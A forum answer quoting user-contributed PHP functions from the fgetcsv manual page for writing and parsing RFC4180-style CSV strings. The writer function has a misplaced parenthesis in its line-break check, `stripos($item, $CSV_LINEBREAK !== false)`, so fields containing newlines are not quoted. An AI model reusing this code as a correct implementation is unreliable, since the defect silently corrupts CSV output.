My idea was to have a regex to check for unclosed quotes, but I dont know of anything like that. Any ideas?
Since it seems the built-in fgetcsv does not correctly handle the CSV standard, there are suggestions for alternatives on the PHP man page for fgetcsv - here's one of them:
From http://www.php.net/manual/en/function.fgetcsv.php
The PHP's CSV handling stuff is
non-standard and contradicts with
RFC4180, thus fgetcsv() cannot
properly deal with files like this
example ...
There is a quick and dirty
RFC-compliant realization of CSV
creation and parsing:
<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
$string = '';
$o = array();
foreach ($items as $item) {
if (stripos($item, $CSV_ENCLOSURE) !== false) {
$item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
}
if ((stripos($item, $CSV_SEPARATOR) !== false)
|| (stripos($item, $CSV_ENCLOSURE) !== false)
|| (stripos($item, $CSV_LINEBREAK !== false))) {
$item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
}
$o[] = $item;
}
$string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;
return $string;
}
function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
$o = array();
$cnt = strlen($string);
$esc = false;
$escesc = false;
$num = 0;
$i = 0;
while ($i < $cnt) {
$s = $string[$i];
if ($s == $CSV_LINEBREAK) {
if ($esc) {
$o[$num] .= $s;
} else {
$i++;
break;
}
} elseif ($s == $CSV_SEPARATOR) {
if ($esc) {
$o[$num] .= $s;
} else {
$num++;
$esc = false;
$escesc = false;
}
} elseif ($s == $CSV_ENCLOSURE) {
if ($escesc) {
$o[$num] .= $CSV_ENCLOSURE;
$escesc = false;
}
if ($esc) {
$esc = false;
$escesc = true;
} else {
$esc = true;
$escesc = false;
}
} else {
if ($escesc) {
$o[$num] .= $CSV_ENCLOSURE;
$escesc = false;
}
$o[$num] .= $s;
}
$i++;
}
// $string = substr($string, $i);
return $o;
}
?>

Categories